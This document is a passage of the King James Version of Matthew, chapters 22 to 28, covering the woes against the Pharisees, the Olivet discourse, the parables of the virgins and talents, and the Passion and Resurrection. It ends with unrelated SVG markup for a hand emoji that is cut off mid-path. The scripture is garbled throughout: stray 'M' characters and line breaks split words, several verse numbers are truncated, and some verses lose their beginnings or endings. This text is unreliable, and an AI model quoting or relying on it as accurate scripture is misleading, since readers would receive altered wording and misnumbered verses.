22:32: I am the God of Abraham, and the God of Isaac, and the God of Jacob? God is not the God of the dead, but of the living.
22:33: And when the multitude heard this, they were astonished at his doctrine.
22:34: But when the Pharisees had heardM
 that he had put the Sadducees to silence, they were gathered together.
22:35: Then one of them, which was a lawyer, asked him a question, tempting him, and saying,
22:36: Master, which is the great commandment in the law?
22:37: Jesus said unto him, Thou shalt love the Lord thy God with all thy heart, and with all thy soul, and with all thy mind.
22:38: This is the first and great commandment.
22:39: And the second is like unto it, Thou shalt love thy neighbour as thyself.
22:40: On these two commandments hang allM
 the law and the prophets.
22:41: While the Pharisees were gathered together, Jesus asked them,
22:42: Saying, What think ye of Christ? whose son is he? They say unto him, The Son of David.
22:43: He saith unto them, How then doth David in spirit call him Lord, saying,
22:44: The LORD said unto my Lord, Sit thou on my right hand, till I make thine enemies thy footstool?
22:45: If David then call him Lord, how is he his son?
22:46: And no man was able to answer him a word, neither durst any man from that day forth aM
sk him any more questions.
23:1: Then spake Jesus to the multitude, and to his disciples,
23:2: Saying, The scribes and the Pharisees sit in Moses' seat:
23:3: All therefore whatsoever they bid you observe, that observe and do; but do not ye after their works: for they say, and do not.
23:4: For they bind heavy burdens and grievous to be borne, and lay them on men's shoulders; but they themselves will not move them with one of their fingers.
23:5: But all their works they do for to be seen of men: they M
make broad their phylacteries, and enlarge the borders of their garments,
23:6: And love the uppermost rooms at feasts, and the chief seats in the synagogues,
23:7: And greetings in the markets, and to be called of men, Rabbi, Rabbi.
23:8: But be not ye called Rabbi: for one is your Master, even Christ; and all ye are brethren.
23:9: And call no man your father upon the earth: for one is your Father, which is in heaven.
23:10: Neither be ye called masters: for one is your Master, even Christ.
23:11: But he that is M
greatest among you shall be your servant.
23:12: And whosoever shall exalt himself shall be abased; and he that shall humble himself shall be exalted.
23:13: But woe unto you, scribes and Pharisees, hypocrites! for ye shut up the kingdom of heaven against men: for ye neither go in yourselves, neither suffer ye them that are entering to go in.
23:14: Woe unto you, scribes and Pharisees, hypocrites! for ye devour widows' houses, and for a pretence make long prayer: therefore ye shall receive the greater damnation.
:15: Woe unto you, scribes and Pharisees, hypocrites! for ye compass sea and land to make one proselyte, and when he is made, ye make him twofold more the child of hell than yourselves.
23:16: Woe unto you, ye blind guides, which say, Whosoever shall swear by the temple, it is nothing; but whosoever shall swear by the gold of the temple, he is a debtor!
23:17: Ye fools and blind: for whether is greater, the gold, or the temple that sanctifieth the gold?
23:18: And, Whosoever shall swear by the altar, it is nothing;M
 but whosoever sweareth by the gift that is upon it, he is guilty.
23:19: Ye fools and blind: for whether is greater, the gift, or the altar that sanctifieth the gift?
23:20: Whoso therefore shall swear by the altar, sweareth by it, and by all things thereon.
23:21: And whoso shall swear by the temple, sweareth by it, and by him that dwelleth therein.
23:22: And he that shall swear by heaven, sweareth by the throne of God, and by him that sitteth thereon.
23:23: Woe unto you, scribes and Pharisees, hypocrites! for M
ye pay tithe of mint and anise and cummin, and have omitted the weightier matters of the law, judgment, mercy, and faith: these ought ye to have done, and not to leave the other undone.
23:24: Ye blind guides, which strain at a gnat, and swallow a camel.
23:25: Woe unto you, scribes and Pharisees, hypocrites! for ye make clean the outside of the cup and of the platter, but within they are full of extortion and excess.
23:26: Thou blind Pharisee, cleanse first that which is within the cup and platter, that the outsiM
de of them may be clean also.
23:27: Woe unto you, scribes and Pharisees, hypocrites! for ye are like unto whited sepulchres, which indeed appear beautiful outward, but are within full of dead men's bones, and of all uncleanness.
23:28: Even so ye also outwardly appear righteous unto men, but within ye are full of hypocrisy and iniquity.
23:29: Woe unto you, scribes and Pharisees, hypocrites! because ye build the tombs of the prophets, and garnish the sepulchres of the righteous,
23:30: And say, If we had been in tM
he days of our fathers, we would not have been partakers with them in the blood of the prophets.
23:31: Wherefore ye be witnesses unto yourselves, that ye are the children of them which killed the prophets.
23:32: Fill ye up then the measure of your fathers.
23:33: Ye serpents, ye generation of vipers, how can ye escape the damnation of hell?
23:34: Wherefore, behold, I send unto you prophets, and wise men, and scribes: and some of them ye shall kill and crucify; and some of them shall ye scourge in your synagoguesM
, and persecute them from city to city:
23:35: That upon you may come all the righteous blood shed upon the earth, from the blood of righteous Abel unto the blood of Zacharias son of Barachias, whom ye slew between the temple and the altar.
23:36: Verily I say unto you, All these things shall come upon this generation.
23:37: O Jerusalem, Jerusalem, thou that killest the prophets, and stonest them which are sent unto thee, how often would I have gathered thy children together, even as a hen gathereth her chickens uM
nder her wings, and ye would not!
23:38: Behold, your house is left unto you desolate.
23:39: For I say unto you, Ye shall not see me henceforth, till ye shall say, Blessed is he that cometh in the name of the Lord.
24:1: And Jesus went out, and departed from the temple: and his disciples came to him for to shew him the buildings of the temple.
24:2: And Jesus said unto them, See ye not all these things? verily I say unto you, There shall not be left here one stone upon another, that shall not be thrownM
24:3: And as he sat upon the mount of Olives, the disciples came unto him privately, saying, Tell us, when shall these things be? and what shall be the sign of thy coming, and of the end of the world?
24:4: And Jesus answered and said unto them, Take heed that no man deceive you.
24:5: For many shall come in my name, saying, I am Christ; and shall deceive many.
24:6: And ye shall hear of wars and rumours of wars: see that ye be not troubled: for all these things must come to pass, but the end is not yet.
7: For nation shall rise against nation, and kingdom against kingdom: and there shall be famines, and pestilences, and earthquakes, in divers places.
24:8: All these are the beginning of sorrows.
24:9: Then shall they deliver you up to be afflicted, and shall kill you: and ye shall be hated of all nations for my name's sake.
24:10: And then shall many be offended, and shall betray one another, and shall hate one another.
24:11: And many false prophets shall rise, and shall deceive many.
24:12: And because iniquity M
shall abound, the love of many shall wax cold.
24:13: But he that shall endure unto the end, the same shall be saved.
24:14: And this gospel of the kingdom shall be preached in all the world for a witness unto all nations; and then shall the end come.
24:15: When ye therefore shall see the abomination of desolation, spoken of by Daniel the prophet, stand in the holy place, (whoso readeth, let him understand:)
24:16: Then let them which be in Judaea flee into the mountains:
24:17: Let him which is on the housetop noM
t come down to take any thing out of his house:
24:18: Neither let him which is in the field return back to take his clothes.
24:19: And woe unto them that are with child, and to them that give suck in those days!
24:20: But pray ye that your flight be not in the winter, neither on the sabbath day:
24:21: For then shall be great tribulation, such as was not since the beginning of the world to this time, no, nor ever shall be.
24:22: And except those days should be shortened, there should no flesh be saved: but for M
the elect's sake those days shall be shortened.
24:23: Then if any man shall say unto you, Lo, here is Christ, or there; believe it not.
24:24: For there shall arise false Christs, and false prophets, and shall shew great signs and wonders; insomuch that, if it were possible, they shall deceive the very elect.
24:25: Behold, I have told you before.
24:26: Wherefore if they shall say unto you, Behold, he is in the desert; go not forth: behold, he is in the secret chambers; believe it not.
24:27: For as the lightningM
 cometh out of the east, and shineth even unto the west; so shall also the coming of the Son of man be.
24:28: For wheresoever the carcase is, there will the eagles be gathered together.
24:29: Immediately after the tribulation of those days shall the sun be darkened, and the moon shall not give her light, and the stars shall fall from heaven, and the powers of the heavens shall be shaken:
24:30: And then shall appear the sign of the Son of man in heaven: and then shall all the tribes of the earth mourn, and they sM
hall see the Son of man coming in the clouds of heaven with power and great glory.
24:31: And he shall send his angels with a great sound of a trumpet, and they shall gather together his elect from the four winds, from one end of heaven to the other.
24:32: Now learn a parable of the fig tree; When his branch is yet tender, and putteth forth leaves, ye know that summer is nigh:
24:33: So likewise ye, when ye shall see all these things, know that it is near, even at the doors.
24:34: Verily I say unto you, This geneM
ration shall not pass, till all these things be fulfilled.
24:35: Heaven and earth shall pass away, but my words shall not pass away.
24:36: But of that day and hour knoweth no man, no, not the angels of heaven, but my Father only.
24:37: But as the days of Noe were, so shall also the coming of the Son of man be.
24:38: For as in the days that were before the flood they were eating and drinking, marrying and giving in marriage, until the day that Noe entered into the ark,
24:39: And knew not until the flood came, aM
nd took them all away; so shall also the coming of the Son of man be.
24:40: Then shall two be in the field; the one shall be taken, and the other left.
24:41: Two women shall be grinding at the mill; the one shall be taken, and the other left.
24:42: Watch therefore: for ye know not what hour your Lord doth come.
24:43: But know this, that if the goodman of the house had known in what watch the thief would come, he would have watched, and would not have suffered his house to be broken up.
24:44: Therefore be ye alM
so ready: for in such an hour as ye think not the Son of man cometh.
24:45: Who then is a faithful and wise servant, whom his lord hath made ruler over his household, to give them meat in due season?
24:46: Blessed is that servant, whom his lord when he cometh shall find so doing.
24:47: Verily I say unto you, That he shall make him ruler over all his goods.
24:48: But and if that evil servant shall say in his heart, My lord delayeth his coming;
24:49: And shall begin to smite his fellowservants, and to eat and driM
nk with the drunken;
24:50: The lord of that servant shall come in a day when he looketh not for him, and in an hour that he is not aware of,
24:51: And shall cut him asunder, and appoint him his portion with the hypocrites: there shall be weeping and gnashing of teeth.
25:1: Then shall the kingdom of heaven be likened unto ten virgins, which took their lamps, and went forth to meet the bridegroom.
25:2: And five of them were wise, and five were foolish.
25:3: They that were foolish took their lamps, anM
d took no oil with them:
25:4: But the wise took oil in their vessels with their lamps.
25:5: While the bridegroom tarried, they all slumbered and slept.
25:6: And at midnight there was a cry made, Behold, the bridegroom cometh; go ye out to meet him.
25:7: Then all those virgins arose, and trimmed their lamps.
25:8: And the foolish said unto the wise, Give us of your oil; for our lamps are gone out.
25:9: But the wise answered, saying, Not so; lest there be not enough for us and you: but go ye rather to them that M
sell, and buy for yourselves.
25:10: And while they went to buy, the bridegroom came; and they that were ready went in with him to the marriage: and the door was shut.
25:11: Afterward came also the other virgins, saying, Lord, Lord, open to us.
25:12: But he answered and said, Verily I say unto you, I know you not.
25:13: Watch therefore, for ye know neither the day nor the hour wherein the Son of man cometh.
25:14: For the kingdom of heaven is as a man travelling into a far country, who called his own servants, aM
nd delivered unto them his goods.
25:15: And unto one he gave five talents, to another two, and to another one; to every man according to his several ability; and straightway took his journey.
25:16: Then he that had received the five talents went and traded with the same, and made them other five talents.
25:17: And likewise he that had received two, he also gained other two.
25:18: But he that had received one went and digged in the earth, and hid his lord's money.
25:19: After a long time the lord of those servaM
nts cometh, and reckoneth with them.
25:20: And so he that had received five talents came and brought other five talents, saying, Lord, thou deliveredst unto me five talents: behold, I have gained beside them five talents more.
25:21: His lord said unto him, Well done, thou good and faithful servant: thou hast been faithful over a few things, I will make thee ruler over many things: enter thou into the joy of thy lord.
25:22: He also that had received two talents came and said, Lord, thou deliveredst unto me two taM
lents: behold, I have gained two other talents beside them.
25:23: His lord said unto him, Well done, good and faithful servant; thou hast been faithful over a few things, I will make thee ruler over many things: enter thou into the joy of thy lord.
25:24: Then he which had received the one talent came and said, Lord, I knew thee that thou art an hard man, reaping where thou hast not sown, and gathering where thou hast not strawed:
25:25: And I was afraid, and went and hid thy talent in the earth: lo, there thou haM
25:26: His lord answered and said unto him, Thou wicked and slothful servant, thou knewest that I reap where I sowed not, and gather where I have not strawed:
25:27: Thou oughtest therefore to have put my money to the exchangers, and then at my coming I should have received mine own with usury.
25:28: Take therefore the talent from him, and give it unto him which hath ten talents.
25:29: For unto every one that hath shall be given, and he shall have abundance: but from him that hath not shall be tM
aken away even that which he hath.
25:30: And cast ye the unprofitable servant into outer darkness: there shall be weeping and gnashing of teeth.
25:31: When the Son of man shall come in his glory, and all the holy angels with him, then shall he sit upon the throne of his glory:
25:32: And before him shall be gathered all nations: and he shall separate them one from another, as a shepherd divideth his sheep from the goats:
25:33: And he shall set the sheep on his right hand, but the goats on the left.
hall the King say unto them on his right hand, Come, ye blessed of my Father, inherit the kingdom prepared for you from the foundation of the world:
25:35: For I was an hungred, and ye gave me meat: I was thirsty, and ye gave me drink: I was a stranger, and ye took me in:
25:36: Naked, and ye clothed me: I was sick, and ye visited me: I was in prison, and ye came unto me.
25:37: Then shall the righteous answer him, saying, Lord, when saw we thee an hungred, and fed thee? or thirsty, and gave thee drink?
 saw we thee a stranger, and took thee in? or naked, and clothed thee?
25:39: Or when saw we thee sick, or in prison, and came unto thee?
25:40: And the King shall answer and say unto them, Verily I say unto you, Inasmuch as ye have done it unto one of the least of these my brethren, ye have done it unto me.
25:41: Then shall he say also unto them on the left hand, Depart from me, ye cursed, into everlasting fire, prepared for the devil and his angels:
25:42: For I was an hungred, and ye gave me no meat: I was thirM
sty, and ye gave me no drink:
25:43: I was a stranger, and ye took me not in: naked, and ye clothed me not: sick, and in prison, and ye visited me not.
25:44: Then shall they also answer him, saying, Lord, when saw we thee an hungred, or athirst, or a stranger, or naked, or sick, or in prison, and did not minister unto thee?
25:45: Then shall he answer them, saying, Verily I say unto you, Inasmuch as ye did it not to one of the least of these, ye did it not to me.
25:46: And these shall go away into everlasting punM
ishment: but the righteous into life eternal.
26:1: And it came to pass, when Jesus had finished all these sayings, he said unto his disciples,
26:2: Ye know that after two days is the feast of the passover, and the Son of man is betrayed to be crucified.
26:3: Then assembled together the chief priests, and the scribes, and the elders of the people, unto the palace of the high priest, who was called Caiaphas,
26:4: And consulted that they might take Jesus by subtilty, and kill him.
26:5: But they said, M
Not on the feast day, lest there be an uproar among the people.
26:6: Now when Jesus was in Bethany, in the house of Simon the leper,
26:7: There came unto him a woman having an alabaster box of very precious ointment, and poured it on his head, as he sat at meat.
26:8: But when his disciples saw it, they had indignation, saying, To what purpose is this waste?
26:9: For this ointment might have been sold for much, and given to the poor.
26:10: When Jesus understood it, he said unto them, Why trouble ye the woman? fM
or she hath wrought a good work upon me.
26:11: For ye have the poor always with you; but me ye have not always.
26:12: For in that she hath poured this ointment on my body, she did it for my burial.
26:13: Verily I say unto you, Wheresoever this gospel shall be preached in the whole world, there shall also this, that this woman hath done, be told for a memorial of her.
26:14: Then one of the twelve, called Judas Iscariot, went unto the chief priests,
26:15: And said unto them, What will ye give me, and I will deliM
ver him unto you? And they covenanted with him for thirty pieces of silver.
26:16: And from that time he sought opportunity to betray him.
26:17: Now the first day of the feast of unleavened bread the disciples came to Jesus, saying unto him, Where wilt thou that we prepare for thee to eat the passover?
26:18: And he said, Go into the city to such a man, and say unto him, The Master saith, My time is at hand; I will keep the passover at thy house with my disciples.
26:19: And the disciples did as Jesus had appointeM
d them; and they made ready the passover.
26:20: Now when the even was come, he sat down with the twelve.
26:21: And as they did eat, he said, Verily I say unto you, that one of you shall betray me.
26:22: And they were exceeding sorrowful, and began every one of them to say unto him, Lord, is it I?
26:23: And he answered and said, He that dippeth his hand with me in the dish, the same shall betray me.
26:24: The Son of man goeth as it is written of him: but woe unto that man by whom the Son of man is betrayed! it M
had been good for that man if he had not been born.
26:25: Then Judas, which betrayed him, answered and said, Master, is it I? He said unto him, Thou hast said.
26:26: And as they were eating, Jesus took bread, and blessed it, and brake it, and gave it to the disciples, and said, Take, eat; this is my body.
26:27: And he took the cup, and gave thanks, and gave it to them, saying, Drink ye all of it;
26:28: For this is my blood of the new testament, which is shed for many for the remission of sins.
unto you, I will not drink henceforth of this fruit of the vine, until that day when I drink it new with you in my Father's kingdom.
26:30: And when they had sung an hymn, they went out into the mount of Olives.
26:31: Then saith Jesus unto them, All ye shall be offended because of me this night: for it is written, I will smite the shepherd, and the sheep of the flock shall be scattered abroad.
26:32: But after I am risen again, I will go before you into Galilee.
26:33: Peter answered and said unto him, Though all M
men shall be offended because of thee, yet will I never be offended.
26:34: Jesus said unto him, Verily I say unto thee, That this night, before the cock crow, thou shalt deny me thrice.
26:35: Peter said unto him, Though I should die with thee, yet will I not deny thee. Likewise also said all the disciples.
26:36: Then cometh Jesus with them unto a place called Gethsemane, and saith unto the disciples, Sit ye here, while I go and pray yonder.
26:37: And he took with him Peter and the two sons of Zebedee, and beganM
 to be sorrowful and very heavy.
26:38: Then saith he unto them, My soul is exceeding sorrowful, even unto death: tarry ye here, and watch with me.
26:39: And he went a little further, and fell on his face, and prayed, saying, O my Father, if it be possible, let this cup pass from me: nevertheless not as I will, but as thou wilt.
26:40: And he cometh unto the disciples, and findeth them asleep, and saith unto Peter, What, could ye not watch with me one hour?
26:41: Watch and pray, that ye enter not into temptation:M
 the spirit indeed is willing, but the flesh is weak.
26:42: He went away again the second time, and prayed, saying, O my Father, if this cup may not pass away from me, except I drink it, thy will be done.
26:43: And he came and found them asleep again: for their eyes were heavy.
26:44: And he left them, and went away again, and prayed the third time, saying the same words.
26:45: Then cometh he to his disciples, and saith unto them, Sleep on now, and take your rest: behold, the hour is at hand, and the Son of man M
is betrayed into the hands of sinners.
26:46: Rise, let us be going: behold, he is at hand that doth betray me.
26:47: And while he yet spake, lo, Judas, one of the twelve, came, and with him a great multitude with swords and staves, from the chief priests and elders of the people.
26:48: Now he that betrayed him gave them a sign, saying, Whomsoever I shall kiss, that same is he: hold him fast.
26:49: And forthwith he came to Jesus, and said, Hail, master; and kissed him.
26:50: And Jesus said unto him, Friend, wheM
refore art thou come? Then came they, and laid hands on Jesus, and took him.
26:51: And, behold, one of them which were with Jesus stretched out his hand, and drew his sword, and struck a servant of the high priest's, and smote off his ear.
26:52: Then said Jesus unto him, Put up again thy sword into his place: for all they that take the sword shall perish with the sword.
26:53: Thinkest thou that I cannot now pray to my Father, and he shall presently give me more than twelve legions of angels?
26:54: But how then M
shall the scriptures be fulfilled, that thus it must be?
26:55: In that same hour said Jesus to the multitudes, Are ye come out as against a thief with swords and staves for to take me? I sat daily with you teaching in the temple, and ye laid no hold on me.
26:56: But all this was done, that the scriptures of the prophets might be fulfilled. Then all the disciples forsook him, and fled.
26:57: And they that had laid hold on Jesus led him away to Caiaphas the high priest, where the scribes and the elders were assembM
26:58: But Peter followed him afar off unto the high priest's palace, and went in, and sat with the servants, to see the end.
26:59: Now the chief priests, and elders, and all the council, sought false witness against Jesus, to put him to death;
26:60: But found none: yea, though many false witnesses came, yet found they none. At the last came two false witnesses,
26:61: And said, This fellow said, I am able to destroy the temple of God, and to build it in three days.
26:62: And the high priest arose, and saidM
 unto him, Answerest thou nothing? what is it which these witness against thee?
26:63: But Jesus held his peace. And the high priest answered and said unto him, I adjure thee by the living God, that thou tell us whether thou be the Christ, the Son of God.
26:64: Jesus saith unto him, Thou hast said: nevertheless I say unto you, Hereafter shall ye see the Son of man sitting on the right hand of power, and coming in the clouds of heaven.
26:65: Then the high priest rent his clothes, saying, He hath spoken blasphemy; M
what further need have we of witnesses? behold, now ye have heard his blasphemy.
26:66: What think ye? They answered and said, He is guilty of death.
26:67: Then did they spit in his face, and buffeted him; and others smote him with the palms of their hands,
26:68: Saying, Prophesy unto us, thou Christ, Who is he that smote thee?
26:69: Now Peter sat without in the palace: and a damsel came unto him, saying, Thou also wast with Jesus of Galilee.
26:70: But he denied before them all, saying, I know not what thou sayM
26:71: And when he was gone out into the porch, another maid saw him, and said unto them that were there, This fellow was also with Jesus of Nazareth.
26:72: And again he denied with an oath, I do not know the man.
26:73: And after a while came unto him they that stood by, and said to Peter, Surely thou also art one of them; for thy speech bewrayeth thee.
26:74: Then began he to curse and to swear, saying, I know not the man. And immediately the cock crew.
26:75: And Peter remembered the word of Jesus, which sM
aid unto him, Before the cock crow, thou shalt deny me thrice. And he went out, and wept bitterly.
27:1: When the morning was come, all the chief priests and elders of the people took counsel against Jesus to put him to death:
27:2: And when they had bound him, they led him away, and delivered him to Pontius Pilate the governor.
27:3: Then Judas, which had betrayed him, when he saw that he was condemned, repented himself, and brought again the thirty pieces of silver to the chief priests and elders,
4: Saying, I have sinned in that I have betrayed the innocent blood. And they said, What is that to us? see thou to that.
27:5: And he cast down the pieces of silver in the temple, and departed, and went and hanged himself.
27:6: And the chief priests took the silver pieces, and said, It is not lawful for to put them into the treasury, because it is the price of blood.
27:7: And they took counsel, and bought with them the potter's field, to bury strangers in.
27:8: Wherefore that field was called, The field of blooM
27:9: Then was fulfilled that which was spoken by Jeremy the prophet, saying, And they took the thirty pieces of silver, the price of him that was valued, whom they of the children of Israel did value;
27:10: And gave them for the potter's field, as the Lord appointed me.
27:11: And Jesus stood before the governor: and the governor asked him, saying, Art thou the King of the Jews? And Jesus said unto him, Thou sayest.
27:12: And when he was accused of the chief priests and elders, he answered nothM
27:13: Then said Pilate unto him, Hearest thou not how many things they witness against thee?
27:14: And he answered him to never a word; insomuch that the governor marvelled greatly.
27:15: Now at that feast the governor was wont to release unto the people a prisoner, whom they would.
27:16: And they had then a notable prisoner, called Barabbas.
27:17: Therefore when they were gathered together, Pilate said unto them, Whom will ye that I release unto you? Barabbas, or Jesus which is called Christ?
he knew that for envy they had delivered him.
27:19: When he was set down on the judgment seat, his wife sent unto him, saying, Have thou nothing to do with that just man: for I have suffered many things this day in a dream because of him.
27:20: But the chief priests and elders persuaded the multitude that they should ask Barabbas, and destroy Jesus.
27:21: The governor answered and said unto them, Whether of the twain will ye that I release unto you? They said, Barabbas.
27:22: Pilate saith unto them, What shall M
I do then with Jesus which is called Christ? They all say unto him, Let him be crucified.
27:23: And the governor said, Why, what evil hath he done? But they cried out the more, saying, Let him be crucified.
27:24: When Pilate saw that he could prevail nothing, but that rather a tumult was made, he took water, and washed his hands before the multitude, saying, I am innocent of the blood of this just person: see ye to it.
27:25: Then answered all the people, and said, His blood be on us, and on our children.
Then released he Barabbas unto them: and when he had scourged Jesus, he delivered him to be crucified.
27:27: Then the soldiers of the governor took Jesus into the common hall, and gathered unto him the whole band of soldiers.
27:28: And they stripped him, and put on him a scarlet robe.
27:29: And when they had platted a crown of thorns, they put it upon his head, and a reed in his right hand: and they bowed the knee before him, and mocked him, saying, Hail, King of the Jews!
27:30: And they spit upon him, and tookM
 the reed, and smote him on the head.
27:31: And after that they had mocked him, they took the robe off from him, and put his own raiment on him, and led him away to crucify him.
27:32: And as they came out, they found a man of Cyrene, Simon by name: him they compelled to bear his cross.
27:33: And when they were come unto a place called Golgotha, that is to say, a place of a skull,
27:34: They gave him vinegar to drink mingled with gall: and when he had tasted thereof, he would not drink.
27:35: And they crucifiedM
 him, and parted his garments, casting lots: that it might be fulfilled which was spoken by the prophet, They parted my garments among them, and upon my vesture did they cast lots.
27:36: And sitting down they watched him there;
27:37: And set up over his head his accusation written, THIS IS JESUS THE KING OF THE JEWS.
27:38: Then were there two thieves crucified with him, one on the right hand, and another on the left.
27:39: And they that passed by reviled him, wagging their heads,
27:40: And saying, Thou that deM
stroyest the temple, and buildest it in three days, save thyself. If thou be the Son of God, come down from the cross.
27:41: Likewise also the chief priests mocking him, with the scribes and elders, said,
27:42: He saved others; himself he cannot save. If he be the King of Israel, let him now come down from the cross, and we will believe him.
27:43: He trusted in God; let him deliver him now, if he will have him: for he said, I am the Son of God.
27:44: The thieves also, which were crucified with him, cast the samM
27:45: Now from the sixth hour there was darkness over all the land unto the ninth hour.
27:46: And about the ninth hour Jesus cried with a loud voice, saying, Eli, Eli, lama sabachthani? that is to say, My God, my God, why hast thou forsaken me?
27:47: Some of them that stood there, when they heard that, said, This man calleth for Elias.
27:48: And straightway one of them ran, and took a spunge, and filled it with vinegar, and put it on a reed, and gave him to drink.
27:49: The rest said, Let be, lM
et us see whether Elias will come to save him.
27:50: Jesus, when he had cried again with a loud voice, yielded up the ghost.
27:51: And, behold, the veil of the temple was rent in twain from the top to the bottom; and the earth did quake, and the rocks rent;
27:52: And the graves were opened; and many bodies of the saints which slept arose,
27:53: And came out of the graves after his resurrection, and went into the holy city, and appeared unto many.
27:54: Now when the centurion, and they that were with him, watchM
ing Jesus, saw the earthquake, and those things that were done, they feared greatly, saying, Truly this was the Son of God.
27:55: And many women were there beholding afar off, which followed Jesus from Galilee, ministering unto him:
27:56: Among which was Mary Magdalene, and Mary the mother of James and Joses, and the mother of Zebedee's children.
27:57: When the even was come, there came a rich man of Arimathaea, named Joseph, who also himself was Jesus' disciple:
27:58: He went to Pilate, and begged the body of M
Jesus. Then Pilate commanded the body to be delivered.
27:59: And when Joseph had taken the body, he wrapped it in a clean linen cloth,
27:60: And laid it in his own new tomb, which he had hewn out in the rock: and he rolled a great stone to the door of the sepulchre, and departed.
27:61: And there was Mary Magdalene, and the other Mary, sitting over against the sepulchre.
27:62: Now the next day, that followed the day of the preparation, the chief priests and Pharisees came together unto Pilate,
, we remember that that deceiver said, while he was yet alive, After three days I will rise again.
27:64: Command therefore that the sepulchre be made sure until the third day, lest his disciples come by night, and steal him away, and say unto the people, He is risen from the dead: so the last error shall be worse than the first.
27:65: Pilate said unto them, Ye have a watch: go your way, make it as sure as ye can.
27:66: So they went, and made the sepulchre sure, sealing the stone, and setting a watch.
28:1: In the end of the sabbath, as it began to dawn toward the first day of the week, came Mary Magdalene and the other Mary to see the sepulchre.
28:2: And, behold, there was a great earthquake: for the angel of the Lord descended from heaven, and came and rolled back the stone from the door, and sat upon it.
28:3: His countenance was like lightning, and his raiment white as snow:
28:4: And for fear of him the keepers did shake, and became as dead men.
28:5: And the angel answered and said unto the women, Fear nM
ot ye: for I know that ye seek Jesus, which was crucified.
28:6: He is not here: for he is risen, as he said. Come, see the place where the Lord lay.
28:7: And go quickly, and tell his disciples that he is risen from the dead; and, behold, he goeth before you into Galilee; there shall ye see him: lo, I have told you.
28:8: And they departed quickly from the sepulchre with fear and great joy; and did run to bring his disciples word.
28:9: And as they went to tell his disciples, behold, Jesus met them, saying, All haM
il. And they came and held him by the feet, and worshipped him.
28:10: Then said Jesus unto them, Be not afraid: go tell my brethren that they go into Galilee, and there shall they see me.
28:11: Now when they were going, behold, some of the watch came into the city, and shewed unto the chief priests all the things that were done.
28:12: And when they were assembled with the elders, and had taken counsel, they gave large money unto the soldiers,
28:13: Saying, Say ye, His disciples came by night, and stole him awayM
28:14: And if this come to the governor's ears, we will persuade him, and secure you.
28:15: So they took the money, and did as they were taught: and this saying is commonly reported among the Jews until this day.
28:16: Then the eleven disciples went away into Galilee, into a mountain where Jesus had appointed them.
28:17: And when they saw him, they worshipped him: but some doubted.
28:18: And Jesus came and spake unto them, saying, All power is given unto me in heaven and in earth.
therefore, and teach all nations, baptizing them in the name of the Father, and of the Son, and of the Holy Ghost:
28:20: Teaching them to observe all things whatsoever I have commanded you: and, lo, I am with you alway, even unto the end of the world. Amen.h!
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#fcea2b" stroke="#fcea2b" stroke-miterlimit="10" stroke-width="1.8" d="M56.4257,39.17c0.03-0.18,0.03-0.36,0.03-0.55 c0,0,0.33-21.03,0.3-21.34c-0.19-1.94-1.92-3.36-3.86-3.17c-1.94,0.19-3.36,1.91-3.17,3.86l0.7104,13.2212 c-1.42-5.66-5.6404-21.6412-5.7304-21.8712c-0.68-1.83-2.71-2.76-4.54-2.08c-1.83,0.69-2.75,2.72-2.07,4.55l1.7127,6.7546 L42.3757,28.68v-0.01c-2.6-4.36-10.55-17.72-1M
0.71-17.93c-1.18-1.55-3.4-1.85-4.95-0.67c-1.55,1.17-1.86,3.39-0.68,4.94 l5.3325,9.1368l7.5566,13.0352l-6.2691-7.432c-0.16-0.27-0.36-0.51-0.59-0.72c-0.55-0.51-1.22-0.81-1.92-0.91 c-0.59-0.19-1.22-0.23-1.87-0.11l-10.0796,1.47c-0.32,0-0.63,0.04-0.93,0.12c-1.88,0.51-2.99,2.45-2.48,4.33 c0.51,1.89,2.45,3,4.34,2.48l8.8796-1.3l5.651,7.1064c-1.3254,3.8368-1.2485,6.1236-3.2986,7.1812 c-3.9119-1.3794-7.9247-1.9453-7.9247-1.9453V42.06c0.04-0.31,0.04-0.62,0-0.93c-0.26-1.93-2.03-3.29-3.96-3.03 c-1.94,0.25-3.3,2.03-3.04,3.96v8.1M
4l0.0716,0.2227c0.0875,1.9615,0.7117,3.8226,1.5117,4.4226 c1.1808,1.3968,3.0242,3.1904,4.9271,5.0504c4.3858,3.3314,10.4516,6.0706,15.5078,5.8058 c11.0842,0,20.0698-8.9855,20.0698-20.0698c0-2.2878-0.3798-4.4198-1.0843-6.4559"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15.4577,50.2v-8.14 c-0.26-1.93,1.1-3.71,3.04-3.96c1.93-0.26,3.7,1.1,3.96,3.03c0.04,0.31,0.04,0.62,0,0.93v5.3923"/>
    <path fill="none" stM
roke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M56.4614,39.1759 c0.7045,2.036,1.0843,4.1681,1.0843,6.4559c0,11.0842-8.9855,20.0698-20.0698,20.0698c-5.0562,0.2648-11.122-2.4744-15.5078-5.8058 c-1.9029-1.86-3.7464-3.6536-4.9271-5.0504c-0.8-0.6-1.4242-2.4611-1.5117-4.4226"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M33.681,42.2164 c-1.3254,3.8368-1.2485,6.1236-3.2986,7.1812c-3.9119-1.3794-7.9247-1.9453-7.9247-1.9453"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M28.03,35.11l-8.8796,1.3 c-1.89,0.52-3.83-0.59-4.34-2.48c-0.51-1.88,0.6-3.82,2.48-4.33c0.3-0.08,0.61-0.12,0.93-0.12L28.3,28.01 c0.65-0.12,1.28-0.08,1.87,0.11"/>
    <line x1="33.681" x2="28.03" y1="42.2164" y2="35.11" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2M
" d="M30.17,28.12 c0.7,0.1,1.37,0.4,1.92,0.91c0.23,0.21,0.43,0.45,0.59,0.72l6.2691,7.432"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M31.3925,24.1468 L26.06,15.01c-1.18-1.55-0.87-3.77,0.68-4.94c1.55-1.18,3.77-0.88,4.95,0.67c0.16,0.21,8.11,13.57,10.71,17.93v0.01"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M50.4604,31.1912 C49.0404,25.5312,44.82,9.55,44.73,9.32c-0.68-1.83-2.71-2.76-4.54-2.M
